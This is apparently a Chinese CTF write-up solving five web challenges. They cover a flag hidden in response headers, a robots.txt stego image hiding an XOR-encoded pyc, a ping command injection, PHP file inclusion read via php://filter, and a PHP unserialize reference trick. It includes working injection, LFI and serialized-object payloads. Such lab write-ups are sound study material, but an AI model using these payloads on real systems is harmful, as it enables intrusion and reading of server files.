month 1 for cnas writeup

点击阅读全文

签到 50

题目链接

http://47.100.121.220:28001

解答

这是一个简单的题目,进入页面可以在相应头中找到flag。

02 100

题目链接

http://47.100.121.220:28002

解答

这里的提示是 爬虫什么的,最讨厌了! 所以应该是在说robots.txt文件

另外如果不能想到这个,对于我这种脚本小子。拿到题就是用御剑扫起来。

这里我们可以看到一个图片 Disallow: /2333.png

下载之,这里应该是一个隐身之类的,这里就不用bindwalk跑图片了,直接丢进WinHex下,搜索flag

存在flag.pyc文件,

应该是一个解压包,把.png改成.zip,解压得到flag.pyc

pyc在线反编译,得到python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python
# encoding: utf-8
# 访问 http://tool.lu/pyc/ 查看更多信息
print 'show me flag'
a = [
4567249,
4567259,
4567254,
4567248,
4567244,
4567169,
4567183,
4567252,
4567175,
4567171,
4567250,
4567169,
4567174,
4567170,
4567183,
4567253,
4567183,
4567183,
4567182,
4567250,
4567170,
4567168,
4567252,
4567170,
4567173,
4567172,
4567183,
4567172,
4567252,
4567171,
4567251,
4567169,
4567182,
4567173,
4567168,
4567183,
4567175,
4567183,
4567173,
4567174,
4567183,
4567251,
4567249,
4567170,
4567251,
4567242]
flag = ''
for _ in a:
flag += chr(_ ^ 4567223)

加个输出 print flag

跑一下,得到flag

ping 100

题目链接

http://47.100.121.220:28005/

解答

拿到题目应该可以看得出来这是一个命令执行的题目。

这里在提交框填什么都会重定向到05.php?ip=127.0.0.1

关键在重定向后的这个数据包,这里我们就可以命令执行了

这里不能直接利用cat flag.php

这里我们利用 \${IFS} 绕过 得到flag

原本以为是过滤了空格

后面甜哥告诉我是编码的问题 这里不需要利用 \${IFS} 绕过 也可以读取flag的

1
cat%20flag.php

06 100

题目链接

http://47.100.121.220:28006/06.php

解答

1
2
3
4
<?php
show_source(__FILE__);
include($_GET['file']);
?>

这里我们可以看出这是一个文件包含的题目,在服务器应该存在一个flag.php文件

试图访问/flag.php是存在的,状态为200。

这样我们就可以利用文件包含来读flag.php的代码了

这里直接包含是不行的,要利用php的伪协议 php://filter 来读取

php伪协议可以参考我的博客

php支持的协议和封装协议小结

直接用

1
file=php://filter/read=convert.base64-encode/resource=./flag.php

就可以得到base64加密的flag.php源码了,直接解密,得到flag

07 100

题目链接

http://47.100.121.220:28007/

解答

打开链接 直接得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include('flag.php');
class A {
var $guess;
var $flag;
}
show_source(__FILE__);
if (isset($_GET['k'])) {
$k = $_GET['k'];
$o = unserialize($k);
if ($o) {
$o->flag = $flag;
if ($o->flag === $o->guess) {
echo "Congratulation! ".$o->flag;
}
else {
echo "wrong!!";
}
}
else {
echo "wrong!";
}
}
?>

对源码进行分析,可以知道这是一个反序列化的题目,关键的判断在如下代码部分

1
2
3
4
5
6
7
$o->flag = $flag;
if ($o->flag === $o->guess) {
echo "Congratulation! ".$o->flag;
}
else {
echo "wrong!!";
}

从代码的理解我们需要做到对象里的flag成员变量的值等于guess的成员变量的值

1
$o->flag === $o->guess

这里我们可以写一个1.php的序列化文件,使我们的类和对象符合题目中的条件,

再利用serialize()函数 序列化得到payload,再把payload赋值给k,由此得到flag

1
2
3
4
5
6
7
8
9
10
11
<?php
class A {
var $flag;
var $guess;
function A()
{
$this->flag=&$this->guess;
}
}
echo serialize(new A());
?>

得到paylad

1
O:1:"A":2:{s:4:"flag";N;s:5:"guess";R:2;}

赋值给k,得到flag